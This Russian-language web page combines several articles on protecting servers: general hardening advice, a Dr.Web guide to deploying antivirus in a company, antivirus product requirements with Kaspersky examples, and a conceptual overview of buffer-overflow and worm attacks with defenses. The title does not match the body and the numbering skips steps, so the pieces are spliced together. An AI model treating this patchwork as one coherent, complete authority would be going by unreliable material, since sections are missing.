Создание сервера антивирусной защиты. Данные параметры позволяют определить группы компьютеров и домены, подвергаемые сканированию. Проблемы с настройкой расписания пользователями

Невозможно защитить сервер от внешнего доступа раз и навсегда, ведь каждый день обнаруживаются новые уязвимости и появляются новые способы взлома сервера. О защите серверов от несанкционированного доступа мы и расскажем в этой статье.

Сервера любой компании рано или поздно могут стать мишенью для взлома или вирусной атаки. Обычно результатом такой атаки становится потеря данных, репутационный или финансовый ущерб, поэтому вопросам обеспечения безопасности серверов стоит уделить внимание в первую очередь.

Следует понимать, что защита от взлома серверов – это комплекс мер, в том числе подразумевающий постоянный мониторинг работы сервера и работу по совершенствованию защиты. Невозможно защитить сервер от внешнего доступа раз и навсегда, ведь каждый день обнаруживаются новые уязвимости и появляются новые способы взлома сервера.

О защите серверов от несанкционированного доступа мы и расскажем в этой статье.

Способы и методы защиты серверов от несанкционированного доступа Физическая защита сервера

Физическая защита. Желательно, чтобы сервер находился в защищенном ЦОДе, закрытом и охраняемом помещении, у посторонних не должно быть доступа к серверу.

Установите аутентификацию по SSH

При настройке доступа к серверу используйте аутентификацию по ключам SSH вместо пароля, поскольку такие ключи гораздо сложнее, а иногда и попросту невозможно взломать с помощью перебора вариантов.

Если же считаете, что вам все-таки требуется пароль, обязательно ограничьте число попыток его ввода.

Обратите внимание, если при входе вы видите подобное сообщение:

Last failed login: Tue Sep 28 12:42:35 MSK 2017 from 52.15.194.10 on ssh:notty
There were 8243 failed login attempts since the last successful login.

Оно может свидетельствовать, что ваш сервер пытались взломать. В таком случае для настройки безопасности сервера смените порт SSH, ограничьте список IP, с которых возможен доступ к серверу или установите ПО, автоматически блокирующее чрезмерно частую и подозрительную активность.

Регулярно устанавливайте последние обновления

Для обеспечения защиты сервера вовремя устанавливайте последние патчи и обновления серверного ПО, которое используете – операционной системы, гипервизора, сервера баз данных.

Желательно проверять наличие новых патчей, обновлений и сообщения об обнаруженных ошибках / уязвимостях каждый день, чтобы предотвратить атаки, использующие уязвимости нулевого дня. Для этого подпишитесь на новости от компании-разработчика ПО, следите за ее страницами в соцсетях.

Защищайте пароли

До сих пор одним их самых распространенных способов получить доступ к серверу является взлом пароля сервера. Поэтому придерживайтесь общеизвестных, но тем не менее актуальных рекомендаций, чтобы не оставить сервер без защиты:

  • не используйте пароли, которые легко подобрать, такие как название компании;
  • если вы до сих пор используете дефолтный пароль для консоли администратора – немедленно измените его;
  • пароли на разные сервисы должны быть разными;
  • если вам необходимо передать пароль кому-либо, никогда не отправляйте IP-адрес, логин и пароль в одном и том же письме или сообщении в мессенджере;
  • для входа в учетную запись администратора можно установить двухэтапную аутентификацию.
Файрвол
  • Убедитесь, что на сервере есть , он настроен и он работает все время.
  • Защищайте и входящий, и исходящий трафик.
  • Следите за тем, какие порты открыты и для каких целей, не открывайте ничего лишнего, чтобы снизить число вероятных уязвимых мест для взлома сервера.

В частности, файрвол очень помогает в защите сервера от ddos атак, т.к. можно быстро создавать запрещающие правила файрвола и вносить в них IP-адреса, с которых идет атака, или блокировать доступ к определенным приложениям, по определенным протоколам.

Мониторинг и обнаружение вторжений
  • Ограничьте ПО и службы, работающие у вас на сервере. Периодически проверяйте все, что у вас запущено, и если обнаружатся какие-то незнакомые вам процессы, удаляйте их немедленно и начинайте проверку на вирусы.
  • Периодически проверяйте наличие следов взлома. О взломе могут свидетельствовать новые учетные записи пользователей, которые вы не создавали, перемещение или удаление файла /etc/syslog.conf , удаленные файлы /etc/shadow и /etc/passwrd .
  • Мониторьте работу вашего сервера, следите за его обычной скоростью и пропускной способностью, так вы сможете заметить отклонения, например, когда нагрузка на сервер стала значительно больше обычного.
Использование VPN и шифрования SSL/TLS

Если необходим удаленный доступ к серверу, он должен быть разрешен только с определенных IP-адресов и происходить по VPN.

Следующим этапом обеспечения безопасности может быть настройка SSL, которая позволит не только шифровать данные, но и проверять идентичность других участников сетевой инфраструктуры, выдавая им соответствующие сертификаты.

Проверка безопасности сервера

Хорошей идеей будет самостоятельная проверка безопасности сервера методом пентеста, т.е. моделирование атаки, чтобы найти потенциальные уязвимости и вовремя их ликвидировать. Желательно привлечь к этому специалистов по информационной безопасности, однако некоторые тесты можно проделать и самостоятельно, используя программы для взлома серверов.

Что еще грозит серверам кроме взлома

Сервер может выйти из строя по ряду других причин, кроме взлома. Например, это может быть заражение вредоносным ПО или просто физическая поломка какого-либо из компонентов.

Поэтому мероприятия по защите сервера должны включать:

  • Установку и обновление программ для защиты сервера – антивирусов.
  • Регулярные зашифрованные копии данных, по меньшей мере, раз в неделю, поскольку, согласно статистике, жесткие диски сервера на первом месте по частоте поломок. Убедитесь, что резервная копия хранится в физически безопасной среде.
  • Обеспечение бесперебойного электропитания серверной.
  • Своевременная физическая профилактика серверов, включающая их чистку от пыли и замену термопасты.

Опыт специалистов “Интегруса” говорит нам, что лучшая защита от такого рода угроз – это применение лучших практик в области систем защиты серверов.

Для обеспечения безопасности серверов наших заказчиков мы применяем сочетание инструментов:брандмауэры, антивирусы, технологии безопасности / управления событиями (SIM / SEM), технологии обнаружения вторжений / защиты (IDS / IPS), технологии сетевого поведенческого анализа (NBA), конечно же регулярное профилактическое обслуживание серверов и обустройство защищенных серверных под ключ. Это позволяет свести риски взлома или отказа сервера по другим причинам к минимуму.

Готовы провести аудит безопасности серверов вашей компании, провести консультирование специалистов, выполнить все виды работ по настройке защиты серверного оборудования.

ВЯЧЕСЛАВ МЕДВЕДЕВ , ведущий аналитик отдела развития компании «Доктор Веб»

Процедура внедрения антивирусной защиты

Достаточно часто в момент выбора (а иногда уже и в момент закупки) клиенты интересуются рекомендациями по порядку развертывания антивирусной защиты или этапам замены ранее используемого продукта. В этой статье речь пойдет о том, как правильно организовать процесс

Крайне важный момент. К сожалению, в большинстве случаев контакты по вопросам продаж идут с менеджерами, а вопрос тестирования передается системным администраторам. В результате зачастую рождается отчет, приводящий в изумление даже вендора. Неверные названия продуктов, древние версии, указания на отсутствие функционала, который в действительности имеется уже несколько лет, и т.д. Нужно все переделывать, но поезд уже ушел, да и корпоративная честь мешает сознаться в отсутствии нужной квалификации у своих специалистов.

1) Изучение возможностей решения в ходе тестовых установок систем защиты рабочих станций, файловых серверов, почтовых серверов, а также серверов управления антивирусной защитой. Здесь также есть несколько подводных камней. Как ни странно, но довольно часто заказчики не знают, что им нужно. И ладно бы вопрос касался функционала, это было бы понятно. Зачастую затруднения вызывает даже вопрос о списке используемого в организации ПО, что, в свою очередь, не позволяет сформировать предложения по списку поставляемого ПО.

Вторая проблема связана с тем, что системные администраторы (которые, как правило, и проводят тестирование) хорошо знают используемые продукты, но (естественно) не знают преимуществ и недостатков продукта тестируемого (но при этом ожидают, что подводные камни в случае закупки продукта будут). Соответственно, рекомендуется согласовать с предполагаемым поставщиком список процедур, которые будут реализовываться с помощью закупаемого продукта, и запросить пошаговые инструкции по данному функционалу или, в случае отсутствия таких инструкций, инструкции по тестированию. Это позволит избежать непроизводительного расхода времени на изучение неочевидных вопросов.

2) Проверка действия политик безопасности, сформированных в соответствии с политикой информационной безопасности компании. В связи с тем, что каждый продукт по-своему реализует необходимый компании функционал (например, позволяет или не позволяет использовать произвольный браузер для управления), как список шагов процедуры, так и ее продолжительность могут отличаться. В обычное время это не критично, но в случае вирусного инцидента может быть дорога каждая секунда.

3) Проверка совместимости ПО Dr.Web и ПО, используемого в компании. Несовместимость ПО встречается нечасто, но не учитывать такую вероятность нельзя. Поэтому данный шаг также является обязательным в ходе тестирования предлагаемого продукта.

4) Уточнение плана развертывания ПО Dr.Web по итогам тестовых установок в соответствии со структурой корпоративной сети компании и графиком работы сотрудников.

а) Уточнение времени развертывания компонентов ПО Dr.Web в условиях локальной сети компании. Достаточно часто в ходе закупки задают вопрос о времени, требуемом для развертывания. Практика показывает, что в подавляющем большинстве случаев продолжительность развертывания зависит исключительно от специалистов компании. Согласно той же практике достаточно выходных для полного перевода компании с одной системы защиты на другую при количестве станций, приближающемся к тысяче.

б) Выбор типа развертывания ПО Dr.Web на локальных станциях и файловых серверах (политика AD, запуск дистрибутивов локально, сканирование сети на незащищенные станции и пр.). В зависимости от пропускной способности сети, наличия Active Directory, требований по защите филиалов и удаленных сотрудников компания может выбрать самые разные варианты развертывания (см. рис. 1).

в) Выбор порядка и времени развертывания ПО в соответствии со структурой корпоративной сети компании и графиком работы сотрудников. Крайне важно обеспечить непрерывность работы компании во время развертывания системы защиты. По закону подлости именно в момент отсутствия защиты могут произойти самые страшные заражения.

Пример схемы развертывания инсталляции антивируса в сети предприятия представлен на рис. 2.

5) Обучение администраторов безопасности компании приемам работы с ПО.

6) Отработка процедур, связанных с удалением используемого антивирусного ПО и установкой ПО.

Как ни странно, удаление используемого антивируса вызывает очень много вопросов. Заказчики требуют, чтобы устанавливаемый антивирус удалял ранее используемый. К сожалению, в большинстве случаев это невозможно. Система самозащиты антивируса, рассчитанная на противодействие злоумышленникам, препятствует его удалению кем-либо.

а) Выработка мер защиты на период отсутствия антивирусного ПО на элементах сети компании. Как вариант, можно на данный период развернуть проверку всего входящего трафика на шлюзе и запретить использование сменных носителей.

7) Проверка локальной сети (защищаемых станций и серверов) на наличие сервисов, необходимых для развертывания ПО в сети компании. В случае необходимости – корректировка правил файерволов, используемых в сети компании. Этот пункт также вызывает затруднения. Как ни странно, но никакой продукт не может сконденсироваться на защищаемом компьютере из воздуха. В зависимости от выбранного типа развертывания необходимо открыть те или иные порты, включить требуемые сервисы и т.д.

Иногда именно ограничения по используемым портам и сервисам, действующие в компании, служат основанием для выбора типа развертывания.

8) Утверждение плана-графика развертывания в сети компании. Доведение плана-графика до сотрудников компании в части, их касающейся. Сотрудники компании должны знать (в части, их касающейся) о проводимых в компании мероприятиях. Специалисты компании в рамках проводимых мероприятий должны иметь возможность оперативно получить доступ к необходимым компьютерам и помещениям. Зачастую без санкции соответствующего руководителя это невозможно.

Замена антивирусного ПО в сети компании

1) Подготовка необходимого ПО в зависимости от выбранного типа развертывания. Вполне очевидно, что для различных ОС, типов приложений и т.д. используются различные дистрибутивы.

  • Установка серверов иерархической сети, узлов кластера, а также, если нужно, необходимой базы данных (см. рис. 3).

  • Развертывание системы резервирования серверов Dr.Web (см. рис. 4). Любой сервер может упасть. Но падение антивирусного сервера приводит к прекращению обновлений защищаемых станций. Поэтому резервирование антивирусных серверов является насущно необходимым.

  • Настройка групп и политик.
  • В случае необходимости – назначение отдельных администраторов группы пользователей и ограничение прав данных администраторов в соответствии с политикой, действующей в компании.
  • Проведение требуемых мероприятий в зависимости от выбранной политики развертывания. Например, настройка AD.

2) Сканирование сети компании сетевой утилитой Dr.Web CureNet! на наличие не известных ранее вредоносных программ (см. рис. 5). К сожалению, нельзя гарантировать, что на ПК, на котором предполагается проводить установку, отсутствуют вредоносные программы. Естественно, установка на зараженную машину возможна, но всегда существует шанс, что работающая вредоносная программа имеет функционал, направленный на противодействие установке антивируса. Как минимум это выбьет из графика процесс развертывания защиты, поэтому поверку на наличие вредоносного ПО лучше провести незадолго до установки.

  • Установка системы защиты рабочих станций и файловых серверов в соответствии с настройками, сделанными на предыдущем этапе.
  • Установка системы защиты почтовых серверов, шлюзов сети Интернет.

5) Эксплуатация программного обеспечения в течение тестового периода.

6) Проведение обновлений ПО в соответствии с политикой, действующей в компании.

7) Проведение периодических проверок защищаемых рабочих станций, файловых и почтовых серверов (см. рис. 7).

8) Контроль действий ПО на тестовые воздействия вредоносного ПО.

9) Проверка процедуры взаимодействия с технической поддержкой.

В общем, ничего сложного, если готовиться к любому этапу заранее.

Удачи в развертывании!


Вконтакте

На основании приведенных выше рассуждений и примеров можно сформулировать основные требования к антивирусам для рабочих станций. Понятно, что эти требования будут отличаться для рабочих станций различных классов.

Требования к антивирусам для рабочих станций Windows

Как и раньше требования будут делиться на несколько категорий:

  • Общие требования - надежность, производительность, удобство в использовании, дешевизна - нет смысла лишний раз повторяться
  • Основные требования - как следствие главной задачи:
    • Проверка всех файлов на локальных дисках, к которым идет обращение - на чтение, на запись, на запуск - с целью выявления и нейтрализации компьютерных вирусов
    • Проверка сменных и сетевых дисков
    • Проверка памяти
    • Проверка входящих и исходящих писем на предмет наличия вирусов, проверяться должны как сами сообщения, так и вложения к ним
    • Проверка скриптов и других активных элементов веб-страниц
    • Проверка макросов в документах Microsoft Office и файлах других приложений
    • Проверка составных файлов - архивов, самораспаковывающихся архивов, упакованных исполняемых файлов, почтовых баз данных, файлов почтовых форматов, OLE-контейнеров
    • Возможность выбора различных действий над зараженными файлами, штатно:
      • блокирование (при проверке в режиме реального времени)
      • запись в журнал (при проверке по требованию)
      • удаление
      • перемещение на карантин
      • лечение
      • запрос действия у пользователя
    • Лечение зараженных файлов
    • Лечение зараженных файлов в архивах
    • Желательно - обнаружение потенциально нежелательных программ (рекламных и шпионских модулей, хакерских утилит, и т. п.)
  • Требования к управлению
    • Наличие локального графического интерфейса
    • Возможность удаленного и централизованного управления (корпоративная версия)
    • Возможность планирования запуска задач проверки и обновления
    • Возможность запуска любых задач или выполнения любых действия по требованию (вручную)
    • Возможность ограничения действий непривилегированного пользователя применительно к антивирусному комплексу
  • Требования к обновлению
    • Поддержка различных источников обновления, штатно:
      • HTTP- или FTP-ресурс
      • Локальная или сетевая папка
      • Централизованная система обновления (в корпоративных версиях)
    • Возможность обновлять антивирусные базы, антивирусное ядро и модули приложения
    • Возможность выполнять обновления вручную по требованию или автоматически по расписанию
    • Возможность выполнять откат обновления антивирусных баз
  • Требования к диагностике
    • Уведомление локального пользователя о важных событиях - обнаружение вирусов, смена состояния антивируса и т. д.
    • Ведение журналов работы антивируса и/или отдельных задач
    • Уведомление администратора антивирусной безопасности (в корпоративной версии)
  • Требования к антивирусам для рабочих станций Linux/Unix
  • Общие требования - практически без изменений: надежность, производительность, дешевизна. Удобство использования в Unix-системах традиционно оценивается по несколько другим критериям, чем в Windows-системах, хотя такое положение дел и начинает постепенно меняться в сторону унификации требований
  • Основные требования - исходя из назначения:
    • Проверка по требованию произвольных файлов и каталогов на предмет наличия вирусов
    • Желательно, но не критично - проверка определенных каталогов в режиме реального времени при доступе к файлам. Если такой функционал действительно необходим, значит речь идет не столько о рабочей станции, сколько о сервере - в Unix-системах явного различия между ними нет
    • Обнаружение вирусов в составных объектах - архивах, самораспаковывающихся архивах, упакованных исполняемых модулях, постовых базах данных, файлах почтовых форматов, OLE-контейнерах - не ограничиваясь форматами, распространенными в Unix-среде
    • Возможность выбора действия при обнаружении зараженных файлов, штатно:
      • удалять
      • перемещать или переименовывать
      • лечить
      • записывать информацию в отчет
      • запросить действие у пользователя (при проверке по требованию)
    • Лечение инфицированных файлов
    • Желательно - возможность лечения в архивах
  • Требования к управлению
    • Локальное управление при помощи редактирования конфигурационных файлов
    • Желательно - удаленное управление через веб-интерфейс
    • Возможность планировать запуск задач и выполнение действий
    • Возможность выполнять задачи и действия вручную
  • Требования к диагностике
    • Ведение журналов работы
    • Уведомление администратора антивирусной безопасности
  • Защита серверов

    В целом антивирусная защита серверов не так сильно отличается от защиты рабочих станций, как, например, от защиты шлюзов. Основные угрозы и технологии противодействия им остаются теми же - смещаются только акценты.

    Сетевые сервера как и рабочие станции естественным образом делятся на классы, согласно используемым операционным системам:

    • Сервера Windows
    • Сервера Novell Netware
    • Сервера Unix

    Принцип деления обусловлен характерными для различных операционных систем вирусными угрозами и, как следствие, различными вариантами в определении основной задачи антивируса.

    В случае продуктов для защиты серверов деление на персональные и сетевые продукты отсутствует - все продукты являются сетевыми (корпоративными). У многих производителей вообще нет деления корпоративных продуктов на предназначенные для рабочих станций и файловых серверов - имеется единый продукт.

    Специфические угрозы и способы противодействия

    Все относящиеся к серверам специфические угрозы связаны не столько с особенностями серверных операционных систем, сколько с применением уязвимого ПО, характерного для серверов.

    Сервера Microsoft Windows

    Для серверов Windows актуальны все те же угрозы, что и для рабочих станций под Windows NT/2000/XP. Отличия заключаются только в преимущественном способе эксплуатации серверов, что выражается в ряде дополнительных атак, нехарактерных для рабочих станций.

    Так, за серверами Windows редко непосредственно работают пользователи, а значит, почтовые клиенты и офисные приложения на серверах, как правило, не используются. Как следствие, требования к защите почты на уровне почтового клиента и дополнительные средства обнаружения макровирусов в случае серверов Windows менее востребованы.

    Пример . Антивирус Касперского для Windows File Servers в отличие от Антивируса Касперского для Windows Workstations лишен модуля поведенческого анализа выполняемых макросов при работе с документами Microsoft Office и модуля проверки получаемой и отправляемой почты. Это не значит, что в продукте отсутствует защита от макровирусов и почтовых червей - как уже отмечалось, в конечном счете, все открываемые файлы проверяются модулем постоянной защиты файловой системы - просто специфика эксплуатации серверов не требует дополнительных средств защиты, как это было в случае с рабочими станциями.

    С другой стороны на серверах Windows значительно чаще, чем на рабочих станциях могут использоваться такие службы как Microsoft SQL Server и Microsoft IIS. Как и сами операционные системы производства Microsoft (и не только Microsoft), эти службы могут содержать уязвимости, чем в свое время неоднократно пользовались авторы вирусов.

    Пример . В 2003 году появился и буквально пронесся по Интернету червь Net- Worm .Win32.Slammer, использовавший уязвимость в Microsoft SQL Server 2000. Slammer не сохранял свои файлы на диск, а выполнялся непосредственно в адресном пространстве приложения SQL Server. После этого в бесконечном цикле червь выполнял атаку на случайные IP-адреса в сети, пытаясь использовать для проникновения ту же уязвимость. В результате активности червя были до такой степени перегружены сервера и каналы связи Интернет, что целые сегменты сети были недоступны. Особенно пострадала от эпидемии Южная Корея. Стоит отметить, что никаких других действий, кроме размножения червь не выполнял.

    Пример . Еще раньше, в 2001 году, уязвимость в Microsoft IIS 5.0 была использована для распространения червем Net- Worm .Win32. CodeRed .a. Последствия эпидемии были не столь внушительны, как в случае с червем Slammer, но зато при помощи компьютеров, зараженных CodeRed .a, была произведена небезуспешная попытка DDoS атаки на сайт Белого Дома США (www.whitehouse.gov). CodeRed .a также не сохранял файлы на дисках пораженных серверов.

    Особенность обоих червей в том, что модуль проверки файловой системы (хоть по запросу, хоть при доступе) против них бессилен. Эти черви не сохраняют свои копии на диск и вообще никак не проявляют своего присутствия в системе, кроме повышенной сетевой активности. На сегодняшний день основной рекомендацией по защите является своевременная установка патчей на операционную систему и используемое ПО. Другой подход заключается в настройке брандмауэров таким образом, чтобы порты, используемые уязвимыми службами были недоступны извне - разумное требование в случае защиты от Slammer, но неприемлемое для защиты от CodeRed .

    Актуальными для серверов Windows остаются и черви, атакующие уже непосредственно уязвимые службы операционной системы, такие как Lovesan, Sasser, Mytob и др. Защита от них должна обеспечиваться комплексными мерами - использованием брандмауэров, установкой заплат, применением проверки при доступе (упомянутые черви при успешной атаке сохраняют свои файлы на жестком диске).

    Учитывая характер атак, можно сделать вывод, что основными средствами защиты серверов Windows являются: модуль проверки файлов при доступе, модуль проверки файлов по требованию, модуль проверки скриптов, а основными технологиями - сигнатурный и эвристический анализ (а также поведенческий - в модуле проверки скриптов).

    Сервера Novell Netware

    Специфических вирусов, способных заражать Novell Netware, нет. Существует, правда, несколько троянов , ворующих права доступа к серверам Novell, но они все равно рассчитаны на выполнение в среде ОС Windows.

    Соответственно, антивирус для сервера Novell Netware фактически не предназначен для защиты этого сервера. В чем же тогда его функции? В предотвращении распространения вирусов. Сервера Novell Netware в большинстве своем используются именно как файловые сервера, пользователи Windows-компьютеров могут хранить на таких серверах свои файлы или же запускать программы, расположенные на томах Novell Netware. Чтобы предотвратить проникновение вирусов на общие ресурсы сервера Novell, либо запуск/чтение вирусов с таких ресурсов и нужен антивирус.

    Соответственно, основные средства, применяемые в антивирусе для Novell Netware - проверка при доступе и проверка по требованию.

    Из специфических технологий, применяемых в антивирусах для Novell Netware необходимо отметить блокирование станций и/или пользователей, записывающих на сервер вредоносные программы.

    Сервера Unix

    Про сервера Unix можно сказать все то же, что и про сервера Novell Netware. Антивирус для Unix-серверов решает не столько задачу защиты самих серверов от заражения, сколько задачу недопущения распространения вирусов через сервер. Для этого применяются все те же два основных средства:

    • Проверка файлов по требованию
    • Проверка файлов при доступе

    Пример . Антивирус Касперского для Unix/Linux File Servers включает модуль проверки при доступе, тогда как в Антивирусе Касперского для Linux Workstations такого модуля нет. Связано это с различными функциями рабочих станций и серверов Linux - в сети построенной исключительно (или большей частью) на Linux-станциях опасность заражения вирусами практически отсутствует, и поэтому острой необходимости в модуле, контролирующем все файловые операции, нет. Напротив, если Linux-компьютер активно используется для хранения и передачи файлов (особенно в Windows-сети), то он является, по сути, сервером и требует средств постоянного контроля файлов.

    Многие известные черви под Linux используют для распространения уязвимости не в самой операционной системе, а в системном и прикладном ПО - в ftp-сервере wu- ftpd , в веб-сервере Apache. Понятно, что такие приложения используются чаще на серверах, чем на рабочих станция, что является дополнительным аргументом в пользу усиленных мер по защите серверов.

    В отличие от серверов Novell, где поддержка сетей Microsoft является встроенной функцией, сервера Unix по умолчанию не приспособлены для передачи файлов по протоколу SMB/ CIFS . Для этой цели используется специальный программный пакет - Samba, позволяющий создавать совместимые с Microsoft-сетями общие ресурсы.

    Если обмен файлами происходит только по протоколам SMB/ CIFS , то очевидно, не имеет смысла контролировать все файловые операции, достаточно проверять только файлы, передающиеся с использованием Samba-сервера.

    Пример . В линейке продуктов Лаборатории Касперского есть специальное решение - Антивирус Касперского для Samba Server, предназначенное именно для защиты общих папок, созданных на Unix-серверах при помощи ПО Samba. В составе этого продукта нет модуля, контролирующего файловые операции, вместо него используется фильтр, встраиваемый в Samba и перехватывающий все передаваемые файлы.


    В данной статье хотелось бы собрать некоторые виды атак на сервера и средства защиты сервера от хакеров. На тему безопасности написано немерено книг и статей. Упор данной статьи сделан на базовые ошибки администраторов и решения по их устранению. После прочтения этой статьи и проверки собственного сервера администратор так же не сможет спать спокойно, он сможет только сказать я сдал "кандидатский минимум".

    Помните администраторы три пословицы,
    нет! лучше распечатайте их и повесьте в на своем рабочем месте перед глазами:
    "Безопасность - это процесс ",
    "Когда админу нечего делать, он занимается безопасностью ",
    "Безопасность определяется по самому слабому звену "
    Статья ориентирована на админов *nix + Apache + PHP + Perl + (MySQL | PostgreSQL) и защите серверов от удаленных атак, для остальных админов статья, я надеюсь, будет пищей для размышлений.
    В разных книгах есть различные классификации атак хакеров, я введу свое деление на два условных класса ВСЕХ атак, разгруппирую их:

    • Атака на сервисы, которые уязвимы и доступны через Интернет

    Чтобы понять мое деление, представьте есть вымышленный скрипт, который удаленно атакует Апач на 80 порту и в результате атаки Апач завершает свою работу и вы остаетесь без своего сайта, так как некому выдавать веб-странички. Вашему почтовому серверу sendmail отправили в качестве параметра для VRFY 1000 символов, а не короткое имя пользователя, sendmail не ожидал такого развития событий и закрылся, оставив вас без почты. Общий смысл атак этого условного класса, в том, что эксплуатируется какая-либо уязвимость приложения. И тут три пути -

    • путь1) приложение упадет и сервис будет не доступен, ситуация DoS;
    • путь2) приложение начнет захватывать ресурсы и истощив их, сделает DoS;
    • путь3) приложению скормят шелкод и выполнится код атакующего;

    Это всё атаки на сервис (п.п1) и лечатся они только одним способом: админ оперативно узнает от разработчика о наличии уязвимости и обновляет данную программу.

    Атака по пункту 2 - это когда, динамический сервис, реализованный на некотором языке программирования, допускает получение параметров и, не проверяя их, выполняет. Например, с помощью браузера атакующий, ползая по сайту под управлением Апач, ищет уязвимости в самом сайте и эксплуатируя их, получает желаемое. Написанный на языке Tcl, бот для модерирования канала IRC сервера принимает запросы от пользователя (номер нового анекдота, дату дня для вывода погоды) и хакер, воссоздавая работу программного кода бота (reverse engineering), конструирует запросы, которые не были учтены автором бота.

    Спросите как это? тогда вам точно нужна это статья. Так или иначе, чуть ниже все будет раcписано.

    Атака на уязвимые сервисы и сам сервер

    В данный раздел я отнес все атаки, чей удар приходится на систему и сервисы. Часто такие атаки возможны из ошибок в реализации программы, такие как переполнение буфера (buffer overflow). Если кратко, то это выглядит так, допустим в плохо написанном фтп сервере есть массив (буфер) для имени пользователя на определенное количество символов (к примеру 10), а получает такой фтп сервер 100 символов от недоброжелателя, если в коде фтп сервера такая ситуация не проверяется, то возникает переполнение буфера.

    Что же полезного хакерам дает переполнение локального буфера? Можно перезаписать адрес возврата на злонамеренный код. Удаленно это позволяет выполнить произвольный код на целевой системе, локально, если программа запущена под root"ом, это позволит получить привилегии администратора системы. Код, вызывающий переполнение буфера и выполняющий действия для хакера, называют шелкодом (shell code). Написание шелкода это непростая задача и требует от хакера знаний ассемблера, что подразумевает профессионализм в данной области.

    Защита от атак на уязвимые сервисы и сам сервер

    • Обновление . Необходимо научится обновлять систему целиком и следовательно уметь
      "строить мир и ядро" для *nix, обновлять через пакетную систему Linux и уметь нажимать кнопку Обновить в Windows Update для лицензионной MS Windows. Для админов FreeBSD нужно уметь ставить софт, используя порты. Так вы будете плыть вместе с разработчиками, а не против них.

      Админам MS Windows нужно привыкать и чаще использовать формат дистрибутива MSI, который настоятельно рекомендуется Microsoft и поддерживает обновление старого пакета новым. Чтобы вы не делали на своем сервере, задайте себе вопрос, если появится новая версия этой программы, как легче обновить ее? Вы должны создать такое решение, которое вы полностью контролируете, да бывают проекты со своими разработками или патчами, но если ваши разработки требуют заморозки нужных вам приложений на определенной версии и вы не можете свои патчи применить к новой системе - ГРОШ цена такому решению!

      Сделаю тут лирическое отступление и расскажу, как мне пришлось ломать себя. Начитавшись в Интернете статей, которые начинаются обычно так "скачайте исходник и поставьте его make install". И что дальше? Новую версию как будете ставить? Держать старую версию, чтобы в ней сделать make (de|un)install? А в новой снова make install? Эти вопросы мне задавал мой друг Дмитрий Дубровин, когда мы начинали осваивать FreeBSD. Я стал понимать, что он прав, и, по крайней мере, для Фри такой путь не годится и, не следуя пути разработчиков FreeBSD, я себе только всё усложнял.

      Теперь освоив FreeBSD, когда парой команд скачиваются новые исходники для ядра Фри и всей системы, затем пара команд создают новый мир и ядро, а потом обновляются порты и приложения в системе, ты начинаешь понимать мощь *nix систем. Трудно передать гордость, которую испытываешь, когда обновляешь сервер с FreeBSD из старой ветки в текущую, перестроение мира системы, когда система сама себя компилирует из новых исходников (похоже как Мюнхаузен себя за волосы вытягивал) и все что до обновления работало, также работает "без напильника".

      Как вы уже поняли, нужно обязательно подписаться на рассылки безопасности от разработчиков того софта, который поддерживает ваш бизнес и обновляться периодически. Обновление всего и вся должно быть отточено и поставлено на рельсы.

    • Security tuning . Большинство серверных операционных систем идут не достаточно настроенными, по-умолчанию, для работы в агрессивной "химической" среде Интернет. Чтобы хакеры "не нахимичили" на вашем сервере нужно произвести тюнинг безопасности, а именно прочитать рекомендации производителя операционной системы по безопасности. Админы *nix систем могут вызвать man security и, прочитав советы разработчиков, делать сказку былью. Но какая бы ни была операционная система нужно тщательно тестировать работу сервера и сервисов после тюнинга безопасности.
    • Файрвол . Настроенный файрвол, который был проверен вами лично с помощью сканеров портов типа nmap и сканеров уязвимостей, если есть вывод от данных программ, то все ли вы понимаете о чем идет речь? При настройке файрвола помните, что существуют пути обхода его правил. Например, есть локальная сеть защищенная файрволом, выставив флаг запрещения фрагментированности пакета, можно при определенных ситуациях достигнуть адресата в локальной сети. Или частая ошибка администратора, излишнее доверие к исходящим пакетам собственного сервера.

      Представьте реальную ситуацию, вражеский код пытается инициировать соединение с хостом хакера-хозяина, а у вас правило в файрволе "от меня в интернет все разрешено". Составляя правила для файрвола, нужно полностью представлять всю картину сетевого общения ваших сервисов между собой и удаленными клиентами.

    • Система обнаружения вторжений . Файрвол можно представить в виде каменных стен у рыцарского замка. Воздвигнул раз и сидишь внутри - сухо и комфортно. А что если кто-то уже из пушки проверяет прочность стен? Может уже нужно выглянуть из замка и навалять люлей кому-то? Чтобы знать, что происходит за стенами замка, те что снаружи, нужно на сервере иметь систему обнаружений вторжений (IDS). Если у вас будет такая система на базе понравившегося вам пакета, то если кто начнет палить из nmap-пушки, то вы будете в курсе, и атакёр тоже будет в курсе "что вы в курсе".
    • Анализ нестандартных ситуаций . В многочисленных журналах в системе часто мелькают надписи "error: not open file /etc/passwd" или "access denied". Это маленькие звоночки, которые звонят о некорректно настроенном приложении, которое не может что-то, где-то прочитать, а может это не звоночек, а набат, который бьет тревогу о хакере, который на половине пути.

      В любом случае админ должен знать о таких вещах. Для облегчения труда админа созданы программы, которые проанализируют журналы на появление интересных фраз и отправят по почте администратору отчет. Не брезгуйте такой возможностью, такие программы сравнимы со стражниками, которые проверяют на доверенном пути, а все ли себя ведут так как предписано?

    • Уберите версии программ . Уберите баннеры у ваших сервисов. Нет не те баннеры, которые вы показываете на своем сайте, а те строки что выдают ваши программы в приветствиях при подсоединении или в выводе ошибок. Не нужно светить версиями своих программ, хакеры по версиям ищут в Интернете доступные программы, эксплуатирующие ту или иную уязвимость (эксплойты - exploit).

      Тут единого нет решения, например если вы ставите из портов некую программу, то не пишите make install clean, так без вас все скачается, с компилируется и поставится. Лучше сделайте make fetch; make extract; потом зайдите в подкаталог files и там в исходниках можно подправить версию программы или выдать ее за другую и потом уже только make install clean.

      Апач очень информативен не к месту и еще светит версиями системы, PHP, Perl, OpenSSL. Отключается безобразие указанием директив в httpd.conf ServerSignature Off ServerTokens Prod. В Интернете можно найти помощь при подмене баннеров на любую программу. Цель одна - лишить атакующего ценной информации. Глядя на свой список сервисов, доступных из Интернета, спросите себя не выдает ли он лишней информации о себе и хранимой им информации.

      Например, DNS сервер bind может разрешать "перенос зоны" и ваши компьютеры с их IP и доменными именами будут доступны всем, а это плохо. Проверьте сами различными сканерами свой сервер и внимательно прочтите их результат работы. При замене баннера программы, советую вставить не случайный текст, а предупреждение об ответственности и о том, что действия журналируются. Так как были инциденты, когда хакера освобождали в зале суда, так как на взломанном фтп сервере была надпись "Welcome! Добро пожаловать!".

